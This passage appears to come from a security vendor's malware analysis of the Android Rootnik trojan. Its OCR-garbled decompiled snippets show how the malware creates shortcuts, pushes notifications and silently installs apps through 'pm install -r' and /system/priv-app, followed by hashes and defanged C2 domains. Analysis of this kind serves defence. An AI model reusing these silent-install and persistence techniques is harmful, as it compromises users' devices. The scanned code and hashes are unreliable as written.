Privacv Terms DMCA

(i
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WARNING!

Are you male or female?

Female

Figure 64. Porn pushed to the device by the app
3. Create a shortcut on the home screen

The shortcuts found contain porn, hot app, hot video, etc. The following is the code snippet and some screenshots

of the shortcuts created.
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I

Intent v13 = new Intent ("fom.android.launcher.action.INSTALL Sm:
v13.putExtra ("android.intent.extra.shortcut.HAME", argl8):
v13.putExcra ("duplicate", false):
v13.putExtra ("android.intent.extra.shortcut. INTENT", new Intent("android.intent.action.VIEW", Uri.parse{argl3))):
if (this.cxt.getPackagelame () .equala{vd)) [
v1l0 = this.cxt;
goto label 58;

}
try {

v10 = this.cxt.createPackageContext (v9, 3);
}

catch (PackageManagersNameNotFoundException v2) |
v2.printStackIrace():

label S58:
if (w10 !'= rmll) {
Bitmap vl = NetworkTool.getHttpBitmap (this.cxt, arg20):
if (vl '= null) {
v13.putExtra ("android. intent.extra.shortcut.ICON", ((Parcelable)wl)}:

}
else |

v13.putExtra ("android. intent.extra.shortcut.ICON", Intent$ShortcutlconRescurce.fromContext (w10, wd));
}

this.cxt.sendBroadeast (v13);

Figure 65. The snippet of creating the shortcut on home screen
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P> MY LIBRARY

J

Play Music  PlayiMavies & S Blay Eooks Play Games

Y >

Browser HotVideo

Figure 66. Shortcuts on home screen
4. App and ad promotion

In addition to gaining root privileges on the device, the rootnik malware promotes apps and ads to generate

revenue for its creator. Its app and ad promotion is especially aggressive and annoying to the user.
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The following are some screenshots of its app promotion:
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Do you want to try?

WORLD '\

Enrich quality of life

Figure 67. App and ad promotion
5. Normal app installation and silent app installation

The malware uses different ways to install an app, depending on the type of task that has been fetched. The

following is the code snippet of a normal app installation that has a user-interface view during the installation
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process.

if (NetworkTool. FINDOR.equals (this.task)) {

thiz.pextFilterTime = System.currentTimeMillis() + 3600000;
this.upgradeKey (this.editorCM, new Cbject[][ADService. K NFT, Long.valueOf(this. pextFilterTime) 1) ;
¥v7 = new Intent( £ |
v7.addFlags (268435456) ;
| v7.zetDatalndType (Uri.fromFile (new File{vZ)), ica I C "] ; |

this.cxt.starthetivicy (v7);

Figure 68. Normal app installation

The app uses the utility “pm install -r” of the Android system to silently install non-system apps while it drops

APK files into the folder /system/priv-app/ to install system apps.

String fnew byte[]{112, 1091}, new Stringfnew byte[]{105, 110, 115, 116, %7, 108, 108}}, new Stringfpew byLe[]145, 114}1] Jargd});
} - - N —
pm 4 install 4 S

Figure 69. Silent non-system app installation

In the folder /data/app/ we found that some apk files (including, but not limited to the following) had been

installed.

LG
W owmowmownwm

.spun.

.thsmker

WWwwmwmwmwmwmw|mwmw|mLew|mummmn

s
s
=
=
5
5
s
s
b=
b=
c

Figure 70. Apps installed in the folder /data/app/ by the malware

tring.valueOf (v10) + - + argl?9 + MyConst.Ros + File.separator + u € ¥
is.xB.booleanValue() ? String.valueOf(v10) + this.getZppCMD(argls) + + argl9 + this.fina + +m+ this.fina + s + w1l + this.fina +
tring.valueOf (v10) + + argl9 + MyConat.Ros + File.separator +
se | [system/priv-app/
T S P SR NI P .

Figure 71.Command to install system app
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In the folder /system/priv-app/ we found that some apk files (including, but not limited to the following) had also
been installed.
-rW-r--r

-re-r--r
-re-r--r

-PW-r--r

Figure 72. Apps installed in folder /system/priv-app/ by the malware
6. Push notification
The malware pushes a notification and induces the user to click it to open the URL in a browser.

The following is the code snippet of the pushed notification.

private woid showNotification({String argl2, String argl3) |

Stri ADService.get¥mlValue (NetworkIool. TITLE, argl3);
ADService.get¥mlValue (NetworkTool. CONTENT, argl3):
this.cxt.getSystemService | 7
n V4 = new Notification (17301545,

ence)lva), System.currentTimeMillis()):

w3. setActlcn{ android.intent.acti TEW") 7

Uri v2 = Uri.parse{argl2):

v3.3etData(vd);

v3.3etClassName ("com.android.browvser", "com droid.bro r.Bro rActivity™);
w3.setData(va);

¥3.getFlags (3355445200 2

PendingIntent vl = PendingIntent. getAct1v1ty{th15 cxt, 0, hS 134217728) ;
wvd.3etlatestEventInfo(this.cxt, 2 U cejwa), ((Cha nce)wd), wl);
v4.contentIntent = vl1;

Ligic catiooMapegerive) potifvile, vay: |

this.statistic{-802);

Figure 73. Snippet of pushed notification
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Figure 74. Push notifications used by the malware
7. Download files

We found that there are many files and folders downloaded in folder /sdcard/. They include apk files, jar files,

pictures, log files, etc.These files are generated by the installed apps, and some of them perform malicious
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Figure 75. The files and folders dowonloaded in folder /sdcard/

Solution
The malware sample is detected by Fortinet Antivirus signature Android/Rootnik.PAC!tr.

The traffic communicating with remote C2 server can be detected by Fortinet IPS signature
Android.Rootnik.Malware.C2.

Summary

From the analysis above, we can see that the rootnik malware is very powerful and uses very advanced anti-
debugging and anti-hooking techniques to prevent reversing engineering, and different types of encryption for
files and strings. Additionally, it also uses a multidex scheme to dynamically load and install the secondary dex
file that is the main logic of this malware. The malware uses some open-sourced Android root exploit tools and
the MTK root scheme from dashi root tool to gain root access on the Android device. After successfully gaining
root privileges on the device, the rootnik malware can perform a variety of malicious, including app and ad
promotion, pushing porn, creating shortcuts on the home screen, silent app installation, and pushing notifications,

etc.
Appendix

Rootnik Malware Sample

Package Name: com.web.sdfile
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SHA?256: E5E22B357893BC15A50DC35B702DD5FCDFEAFC6FFEC7DAAOD313C724D72EC854
Additional APK files dropped into system partition by Rootnik malware

Package Name: com.br.srd

SHA?256: E2BDCFE5796CD377D41F3DA3838865AB062EA7AFIE1E4424B1E34EBO84ABEC4A
Package Name: com.oyws.pdu

SHA?256: CEE6584CD2E01FAB5F075F94AF2A0CE024ED5SE4F2D52E3DC39F7655C736A7232
C&C Server

gt[.]Jrogsob[.]Jcom

grs[.]Jgowdsy[.]Jcom:

gj[.Jhoyebs[.]Jcom

gj[.Jhoyow[.]Jcom

gtl[.lyepodjr[.Jcom

Sign up for weekly Fortinet FortiGuard Labs Threat Intelligence Briefs and stay on top of the newest emerging

threats.

Source: https://blog.fortinet.com/2017/01/26/deep-analysis-of-android-rootnik-malware-using-advanced-anti-debug-and-anti-hook-part-ii-anal

ysis-of-the-scope-of-java
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